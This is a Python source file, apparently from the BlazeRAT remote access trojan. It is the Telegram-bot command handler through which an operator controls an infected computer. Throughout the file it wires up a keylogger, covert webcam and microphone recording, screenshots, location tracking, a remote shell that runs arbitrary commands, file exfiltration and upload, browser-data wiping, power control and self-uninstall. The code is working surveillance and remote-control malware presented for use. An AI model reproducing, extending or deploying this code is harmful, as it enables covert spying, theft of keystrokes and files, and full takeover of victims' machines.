telegram.py 22 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. import telebot # pip3 install pyTelegramBotAPI
  5. from time import time, ctime, sleep
  6. # Import helpers
  7. import core.logger as Logger
  8. import core.messages as Messages
  9. import core.database as Database
  10. import core.banned as BanManager
  11. from config import token, auth_expire_time
  12. from core.tokens import VerifyToken, VerifyToken2, EnumeratePermissions
  13. # Import command modules
  14. import services.wipe as Wipe
  15. import services.power as Power
  16. import services.startup as Autorun
  17. import services.filemanager as Files
  18. import services.volume as VolumeLevel
  19. import services.shell as SystemCommand
  20. import services.keylogger as Klogger
  21. import services.keyboard as Keyboard
  22. import services.transfer as FileTransfer
  23. import services.location as TrackLocation
  24. import services.information as SystemInfo
  25. import services.webcamera as WebcamRecorder
  26. import services.taskmanager as ProcessManager
  27. import services.screenshot as DesktopScreenshot
  28. import services.microphone as MicrophoneRecorder
  29. """
  30. Author : LimerBoy
  31. github.com/LimerBoy/BlazeRAT
  32. Notes :
  33. The file is needed to receive commands from the telegram bot
  34. and process them.
  35. """
  36. # Bot
  37. bot = telebot.TeleBot(token)
  38. """ Help """
  39. @bot.message_handler(commands=["help"])
  40. def Help(message):
  41. bot.reply_to(message, Messages.user.help, parse_mode="Markdown")
  42. """ Authorize user """
  43. @bot.message_handler(commands=["authorize"])
  44. def Authorize(message):
  45. token = message.text[11:]
  46. chatid = message.chat.id
  47. username = message.chat.username
  48. username = Messages.user.name_anonymous if username is None else username
  49. # Prevent authorization if user is banned
  50. ban_state, reason = BanManager.UserIsBanned(chatid)
  51. if ban_state is True:
  52. return bot.send_message(chatid, Messages.auth.user_is_banned % reason)
  53. # If user is already authorized
  54. if Database.UserIsAuthorized(chatid):
  55. return bot.send_message(chatid, Messages.auth.already_authorized)
  56. # Check user auth password
  57. verify_state, name = VerifyToken(token)
  58. # verify_state, name = VerifyToken2(token)
  59. if verify_state is True:
  60. # Log user auth event
  61. Logger.Log(f"Auth >> Logged in successfully using token {name}", chatid)
  62. # Delete message with token
  63. bot.delete_message(chatid, message.message_id)
  64. # Get session expire time
  65. expire = ctime(time() + auth_expire_time)
  66. # Insert user to database
  67. Database.AuthorizeUser(chatid, name)
  68. bot.send_message(chatid, Messages.auth.user_authorized % (username, name, expire))
  69. else:
  70. attempts = BanManager.GetAttempts(chatid)
  71. # Ban user
  72. if attempts == 0:
  73. Logger.Log(f"Auth >> User banned, reason: 'Token bruteforce'", chatid)
  74. BanManager.BanUser(chatid, username, True, "Token bruteforce")
  75. bot.send_message(chatid, Messages.auth.user_is_banned % "Bruteforce")
  76. else:
  77. attempts -= 1
  78. Logger.Log(f"Auth >> Failed log in using token {token}, attempt left {attempts}", chatid)
  79. BanManager.SetAttempts(chatid, username, attempts)
  80. bot.send_message(chatid, Messages.auth.incorrect_token % attempts)
  81. """ Deauthorize user """
  82. @bot.message_handler(commands=["deauthorize"])
  83. def Deauthorize(message):
  84. chatid = message.chat.id
  85. username = message.chat.username
  86. username = Messages.user.name_anonymous if username is None else username
  87. # If user is not authorized
  88. if not Database.UserIsAuthorized(chatid):
  89. return bot.send_message(chatid, Messages.auth.not_authorized)
  90. # Deauthorize user
  91. Logger.Log(f"Auth >> User logged out", chatid)
  92. Database.DeauthorizeUser(chatid)
  93. bot.send_message(chatid, Messages.auth.user_deauthorized % username)
  94. """ Get permissions list """
  95. @bot.message_handler(commands=["permissions"])
  96. def Permissions(message):
  97. chatid = message.chat.id
  98. # If user is not authorized
  99. if not Database.UserIsAuthorized(chatid):
  100. return bot.send_message(chatid, Messages.auth.not_authorized)
  101. # Log
  102. Logger.Log(f"Command >> Get permissions", chatid)
  103. # Get perms list
  104. token = Database.GetUserToken(chatid)
  105. perms = EnumeratePermissions(token, False, False)
  106. bot.send_message(chatid, " " + perms)
  107. """ Get system information """
  108. @bot.message_handler(commands=["information"])
  109. def Information(message):
  110. chatid = message.chat.id
  111. # Check if user authorized
  112. if not Database.UserIsAuthorized(chatid):
  113. return bot.send_message(chatid, Messages.auth.not_authorized)
  114. # Check if token have permissions to do this
  115. if not Database.UserContainsPermission(chatid, "INFORMATION"):
  116. return bot.send_message(chatid, Messages.auth.permission_not_found)
  117. # Log
  118. Logger.Log(f"Command >> Get system info", chatid)
  119. # Create microphone controller keyboard
  120. markup = telebot.types.InlineKeyboardMarkup(row_width=1)
  121. markup.add(
  122. telebot.types.InlineKeyboardButton(text="▶️ RAM", callback_data="INFO_RAM"),
  123. telebot.types.InlineKeyboardButton(text="▶️ Boot", callback_data="INFO_BOOT"),
  124. telebot.types.InlineKeyboardButton(text="▶️ Disks", callback_data="INFO_DISK"),
  125. telebot.types.InlineKeyboardButton(text="▶️ System", callback_data="INFO_SYS"),
  126. telebot.types.InlineKeyboardButton(text="▶️ Processor", callback_data="INFO_CPU"),
  127. )
  128. bot.send_message(chatid, "⚙️ System information:", reply_markup=markup)
  129. """ Send desktop screenshot """
  130. @bot.message_handler(commands=["screenshot"])
  131. def Screenshot(message):
  132. chatid = message.chat.id
  133. # Check if user authorized
  134. if not Database.UserIsAuthorized(chatid):
  135. return bot.send_message(chatid, Messages.auth.not_authorized)
  136. # Check if token have permissions to do this
  137. if not Database.UserContainsPermission(chatid, "SCREENSHOT"):
  138. return bot.send_message(chatid, Messages.auth.permission_not_found)
  139. # Log
  140. Logger.Log(f"Screenshot >> Get desktop screenshot", chatid)
  141. # Create desktop screenshot & send to user
  142. bot.send_chat_action(chatid, "upload_photo")
  143. screenshot = DesktopScreenshot.Capture()
  144. bot.send_photo(
  145. chat_id=chatid, photo=screenshot,
  146. reply_to_message_id=message.message_id,
  147. caption=Messages.services.desktop_screenshot_captured
  148. )
  149. """ Send webcam video """
  150. @bot.message_handler(commands=["webcam"])
  151. def Webcam(message):
  152. chatid = message.chat.id
  153. # Get webcam device index
  154. try:
  155. device = str(int(message.text[7:]) - 1)
  156. except:
  157. device = "0"
  158. # Check if user authorized
  159. if not Database.UserIsAuthorized(chatid):
  160. return bot.send_message(chatid, Messages.auth.not_authorized)
  161. # Check if token have permissions to do this
  162. if not Database.UserContainsPermission(chatid, "WEBCAMERA"):
  163. return bot.send_message(chatid, Messages.auth.permission_not_found)
  164. # Create webcam controller keyboard
  165. markup = telebot.types.InlineKeyboardMarkup(row_width=1)
  166. markup.add(
  167. telebot.types.InlineKeyboardButton(text=Messages.services.webcam_screenshot_button, callback_data="TakeWebcamScreenshot_" + device),
  168. telebot.types.InlineKeyboardButton(text=Messages.services.webcam_start_recording_button, callback_data="EnableWebcam_" + device),
  169. telebot.types.InlineKeyboardButton(text=Messages.services.webcam_stop_recording_button, callback_data="DisableWebcam")
  170. )
  171. bot.send_message(chatid, Messages.services.webcam_select_action % int(device), reply_markup=markup)
  172. """ Record audio from microphone """
  173. @bot.message_handler(commands=["microphone"])
  174. def Microphone(message):
  175. chatid = message.chat.id
  176. # Check if user authorized
  177. if not Database.UserIsAuthorized(chatid):
  178. return bot.send_message(chatid, Messages.auth.not_authorized)
  179. # Check if token have permissions to do this
  180. if not Database.UserContainsPermission(chatid, "MICROPHONE"):
  181. return bot.send_message(chatid, Messages.auth.permission_not_found)
  182. # Create microphone controller keyboard
  183. markup = telebot.types.InlineKeyboardMarkup()
  184. markup.add(
  185. telebot.types.InlineKeyboardButton(text=Messages.services.microphone_start_recording_button, callback_data="EnableMicrophone"),
  186. telebot.types.InlineKeyboardButton(text=Messages.services.microphone_stop_recording_button, callback_data="DisableMicrophone")
  187. )
  188. bot.send_message(chatid, Messages.services.microphone_select_action, reply_markup=markup)
  189. """ Change system audio volume """
  190. @bot.message_handler(commands=["volume"])
  191. def Volume(message):
  192. chatid = message.chat.id
  193. # Check if user authorized
  194. if not Database.UserIsAuthorized(chatid):
  195. return bot.send_message(chatid, Messages.auth.not_authorized)
  196. # Check if token have permissions to do this
  197. if not Database.UserContainsPermission(chatid, "VOLUME"):
  198. return bot.send_message(chatid, Messages.auth.permission_not_found)
  199. # Create volume controller keyboard
  200. markup = telebot.types.InlineKeyboardMarkup(row_width=1)
  201. markup.add(telebot.types.InlineKeyboardButton(text=Messages.services.volume_get_level_button % VolumeLevel.Get() + "%", callback_data="VL_GET"))
  202. # Add set level option from 0 to 100
  203. for lvl in range(0, 110, 10):
  204. markup.add(telebot.types.InlineKeyboardButton(text=Messages.services.volume_set_level_button % lvl + "%", callback_data="VL_" + str(lvl)))
  205. bot.send_message(chatid, " Volume control:", reply_markup=markup)
  206. """ Keylogger """
  207. @bot.message_handler(commands=["keylogger"])
  208. def Keylogger(message):
  209. chatid = message.chat.id
  210. # Check if user authorized
  211. if not Database.UserIsAuthorized(chatid):
  212. return bot.send_message(chatid, Messages.auth.not_authorized)
  213. # Check if token have permissions to do this
  214. if not Database.UserContainsPermission(chatid, "KEYLOGGER"):
  215. return bot.send_message(chatid, Messages.auth.permission_not_found)
  216. # Create keylogger controller keyboard
  217. markup = telebot.types.InlineKeyboardMarkup()
  218. markup.add(
  219. telebot.types.InlineKeyboardButton(text=Messages.services.keylogger_start_recording_button, callback_data="EnableKeylogger"),
  220. telebot.types.InlineKeyboardButton(text=Messages.services.keylogger_stop_recording_button, callback_data="DisableKeylogger"),
  221. telebot.types.InlineKeyboardButton(text=Messages.services.keylogger_get_logs_button, callback_data="GetDataKeylogger"),
  222. telebot.types.InlineKeyboardButton(text=Messages.services.keylogger_clean_logs_button, callback_data="CleanKeylogger")
  223. )
  224. bot.send_message(chatid, Messages.services.microphone_select_action, reply_markup=markup)
  225. """ Send key press """
  226. @bot.message_handler(commands=["keyboard"])
  227. def KeyboardCtrl(message):
  228. text = message.text[10:]
  229. chatid = message.chat.id
  230. # Check if user authorized
  231. if not Database.UserIsAuthorized(chatid):
  232. return bot.send_message(chatid, Messages.auth.not_authorized)
  233. # Check if token have permissions to do this
  234. if not Database.UserContainsPermission(chatid, "KEYBOARD"):
  235. return bot.send_message(chatid, Messages.auth.permission_not_found)
  236. # Send special keys list
  237. if not text:
  238. Keyboard.SendKeyboard(chatid, bot)
  239. else:
  240. # Send key press
  241. Keyboard.SendKeyText(text, chatid)
  242. """ Power control """
  243. @bot.message_handler(commands=["power"])
  244. def PowerCtrl(message):
  245. chatid = message.chat.id
  246. # Check if user authorized
  247. if not Database.UserIsAuthorized(chatid):
  248. return bot.send_message(chatid, Messages.auth.not_authorized)
  249. # Check if token have permissions to do this
  250. if not Database.UserContainsPermission(chatid, "POWER"):
  251. return bot.send_message(chatid, Messages.auth.permission_not_found)
  252. # Create power controller keyboard
  253. markup = telebot.types.InlineKeyboardMarkup(row_width=1)
  254. markup.add(
  255. telebot.types.InlineKeyboardButton(text=Messages.services.power_shutdown, callback_data="POWER_SHUTDOWN"),
  256. telebot.types.InlineKeyboardButton(text=Messages.services.power_suspend, callback_data="POWER_SUSPEND"),
  257. telebot.types.InlineKeyboardButton(text=Messages.services.power_reboot, callback_data="POWER_REBOOT"),
  258. telebot.types.InlineKeyboardButton(text=Messages.services.power_logout, callback_data="POWER_LOGOUT"),
  259. )
  260. bot.send_message(chatid, Messages.services.power_control, reply_markup=markup)
  261. """ Get location by BSSID """
  262. @bot.message_handler(commands=["location"])
  263. def Location(message):
  264. chatid = message.chat.id
  265. # Check if user authorized
  266. if not Database.UserIsAuthorized(chatid):
  267. return bot.send_message(chatid, Messages.auth.not_authorized)
  268. # Check if token have permissions to do this
  269. if not Database.UserContainsPermission(chatid, "LOCATION"):
  270. return bot.send_message(chatid, Messages.auth.permission_not_found)
  271. # Try to get device location
  272. TrackLocation.SendLocation(message, bot)
  273. """ Files control """
  274. @bot.message_handler(commands=["filemanager"])
  275. def Filemanager(message):
  276. chatid = message.chat.id
  277. # Check if user authorized
  278. if not Database.UserIsAuthorized(chatid):
  279. return bot.send_message(chatid, Messages.auth.not_authorized)
  280. # Check if token have permissions to do this
  281. if not Database.UserContainsPermission(chatid, "FILEMANAGER"):
  282. return bot.send_message(chatid, Messages.auth.permission_not_found)
  283. # Control files
  284. Files.Filemanager(chatid, bot)
  285. """ Task manager """
  286. @bot.message_handler(commands=["taskmanager"])
  287. def TaskManager(message):
  288. chatid = message.chat.id
  289. # Check if user authorized
  290. if not Database.UserIsAuthorized(chatid):
  291. return bot.send_message(chatid, Messages.auth.not_authorized)
  292. # Check if token have permissions to do this
  293. if not Database.UserContainsPermission(chatid, "TASKMANAGER"):
  294. return bot.send_message(chatid, Messages.auth.permission_not_found)
  295. # Send process controls
  296. ProcessManager.ShowProcesses(message, bot)
  297. """ Download files or directories to telegram bot """
  298. @bot.message_handler(commands=["download"])
  299. def DownloadFile(message):
  300. chatid = message.chat.id
  301. # Check if user authorized
  302. if not Database.UserIsAuthorized(chatid):
  303. return bot.send_message(chatid, Messages.auth.not_authorized)
  304. # Check if token have permissions to do this
  305. if not Database.UserContainsPermission(chatid, "FILETRANSFER"):
  306. return bot.send_message(chatid, Messages.auth.permission_not_found)
  307. # Send file to telegram bot
  308. bot.send_chat_action(chatid, "upload_document")
  309. FileTransfer.SendFile(message, bot)
  310. """ Upload files to device """
  311. @bot.message_handler(content_types=["document"])
  312. def UploadFile(message):
  313. chatid = message.chat.id
  314. # Check if user authorized
  315. if not Database.UserIsAuthorized(chatid):
  316. return bot.send_message(chatid, Messages.auth.not_authorized)
  317. # Check if token have permissions to do this
  318. if not Database.UserContainsPermission(chatid, "FILETRANSFER"):
  319. return bot.send_message(chatid, Messages.auth.permission_not_found)
  320. # Save file on device
  321. bot.send_chat_action(chatid, "upload_document")
  322. FileTransfer.ReceiveFile(message, bot)
  323. """ Wipe browsers data """
  324. @bot.message_handler(commands=["wipe"])
  325. def WipeBrowserData(message):
  326. chatid = message.chat.id
  327. # Check if user authorized
  328. if not Database.UserIsAuthorized(chatid):
  329. return bot.send_message(chatid, Messages.auth.not_authorized)
  330. # Check if token have permissions to do this
  331. if not Database.UserContainsPermission(chatid, "WIPE"):
  332. return bot.send_message(chatid, Messages.auth.permission_not_found)
  333. # Execute wipe command
  334. Wipe.WipeBrowserDataInfo(message, bot)
  335. """ Uninstall agent """
  336. @bot.message_handler(commands=["uninstall"])
  337. def Uninstall(message):
  338. chatid = message.chat.id
  339. # Check if user authorized
  340. if not Database.UserIsAuthorized(chatid):
  341. return bot.send_message(chatid, Messages.auth.not_authorized)
  342. # Check if token have permissions to do this
  343. if not Database.UserContainsPermission(chatid, "UNINSTALL"):
  344. return bot.send_message(chatid, Messages.auth.permission_not_found)
  345. # Log
  346. Logger.Log(f"Command >> Uninstall service", chatid)
  347. # Execute commands
  348. bot.send_message(chatid, Messages.services.stub_uninstall)
  349. Autorun.ServiceUninstall()
  350. """ Toggle command shell session for chatid """
  351. @bot.message_handler(commands=["shell"])
  352. def ToggleShell(message):
  353. chatid = message.chat.id
  354. # Check if user authorized
  355. if not Database.UserIsAuthorized(chatid):
  356. return bot.send_message(chatid, Messages.auth.not_authorized)
  357. # Check if token have permissions to do this
  358. if not Database.UserContainsPermission(chatid, "SHELL"):
  359. return bot.send_message(chatid, Messages.auth.permission_not_found)
  360. # Send shell session state
  361. bot.send_chat_action(chatid, "typing")
  362. state = SystemCommand.ToggleSession(chatid)
  363. bot.reply_to(message, state)
  364. """ Execute shell commands """
  365. @bot.message_handler(func=lambda message: True, content_types=["text"])
  366. def ExecuteShell(message):
  367. chatid = message.chat.id
  368. command = message.text
  369. # Check if session exists
  370. if not SystemCommand.SessionExists(chatid):
  371. return
  372. # Check if user authorized
  373. if not Database.UserIsAuthorized(chatid):
  374. return bot.send_message(chatid, Messages.auth.not_authorized)
  375. # Check if token have permissions to do this
  376. if not Database.UserContainsPermission(chatid, "SHELL"):
  377. return bot.send_message(chatid, Messages.auth.permission_not_found)
  378. # Run commands
  379. bot.send_chat_action(chatid, "typing")
  380. output = SystemCommand.Run(command, chatid)
  381. if output != None:
  382. bot.reply_to(message, output)
  383. """ Events handler """
  384. @bot.callback_query_handler(func=lambda c:True)
  385. def KeyboardActions(callback):
  386. text = callback.data
  387. chatid = callback.from_user.id
  388. # Check if user authorized
  389. if not Database.UserIsAuthorized(chatid):
  390. return bot.send_message(chatid, Messages.auth.not_authorized)
  391. # Microphone controls
  392. if "Microphone" in text:
  393. # Check if token have permissions to do this
  394. if not Database.UserContainsPermission(chatid, "MICROPHONE"):
  395. return bot.send_message(chatid, Messages.auth.permission_not_found)
  396. # Handle microphone command
  397. MicrophoneRecorder.Handle(callback, bot)
  398. # Webcam controls
  399. elif "Webcam" in text:
  400. # Check if token have permissions to do this
  401. if not Database.UserContainsPermission(chatid, "WEBCAMERA"):
  402. return bot.send_message(chatid, Messages.auth.permission_not_found)
  403. # Handle webcam command
  404. WebcamRecorder.Handle(callback, bot)
  405. # Keylogger controls
  406. elif "Keylogger" in text:
  407. # Check if token have permissions to do this
  408. if not Database.UserContainsPermission(chatid, "KEYLOGGER"):
  409. return bot.send_message(chatid, Messages.auth.permission_not_found)
  410. # Handle keylogger command
  411. Klogger.Handle2(callback, bot)
  412. # Filemanager controls
  413. elif text[:2] in ("FA", "FC"):
  414. # Check if token have permissions to do this
  415. if not Database.UserContainsPermission(chatid, "FILEMANAGER"):
  416. return bot.send_message(chatid, Messages.auth.permission_not_found)
  417. # Handle filemanager command
  418. if text[:2] == "FA":
  419. Files.OpenFileActionsMenu(callback, bot)
  420. elif text[:2] == "FC":
  421. Files.MakeFileAction(callback, bot)
  422. # System info
  423. elif text[:4] == "INFO":
  424. # Check if token have permissions to do this
  425. if not Database.UserContainsPermission(chatid, "INFORMATION"):
  426. return bot.send_message(chatid, Messages.auth.permission_not_found)
  427. # Handle system info command
  428. SystemInfo.Handle(callback, bot)
  429. # Process manager
  430. elif text[:2] == "TM":
  431. # Check if token have permissions to do this
  432. if not Database.UserContainsPermission(chatid, "TASKMANAGER"):
  433. return bot.send_message(chatid, Messages.auth.permission_not_found)
  434. # Handle taskmanager command
  435. ProcessManager.KillProcess(callback, bot)
  436. # Volume control
  437. elif text[:2] == "VL":
  438. # Check if token have permissions to do this
  439. if not Database.UserContainsPermission(chatid, "VOLUME"):
  440. return bot.send_message(chatid, Messages.auth.permission_not_found)
  441. # Get level
  442. if "GET" in text:
  443. return bot.send_message(chatid, Messages.services.volume_get_level % VolumeLevel.Get() + "%")
  444. else:
  445. # Set level
  446. level = int(text.split("_")[-1])
  447. VolumeLevel.SetVolume(level)
  448. return bot.send_message(chatid, Messages.services.volume_set_level % level + "%")
  449. # Power control
  450. elif text[:5] == "POWER":
  451. # Check if token have permissions to do this
  452. if not Database.UserContainsPermission(chatid, "POWER"):
  453. return bot.send_message(chatid, Messages.auth.permission_not_found)
  454. # Handle taskmanager command
  455. Power.Handle(callback, bot)
  456. # Keyboard special keys
  457. elif text[:6] == "SNDKEY":
  458. # Check if token have permissions to do this
  459. if not Database.UserContainsPermission(chatid, "KEYBOARD"):
  460. return bot.send_message(chatid, Messages.auth.permission_not_found)
  461. Keyboard.SendKeyPress(text.split("_")[-1], chatid)
  462. # Wipe browsers data
  463. elif text[:4] == "Wipe":
  464. # Check if token have permissions to do this
  465. if not Database.UserContainsPermission(chatid, "WIPE"):
  466. return bot.send_message(chatid, Messages.auth.permission_not_found)
  467. # Log
  468. Logger.Log(f"Command >> Wipe browsers data", chatid)
  469. # Wipe
  470. Wipe.WipeBrowserData(callback, bot)
  471. """ Run telegram bot """
  472. def Run():
  473. print("[~] Telegram Bot starting...")
  474. try:
  475. print("[?] Started as @" + bot.get_me().username)
  476. except Exception as error:
  477. exit(f"[!] Failed connect to telegram bot\n{error}")
  478. else:
  479. while True:
  480. try:
  481. bot.polling(none_stop=True)
  482. except Exception as error:
  483. print(error)
  484. sleep(2)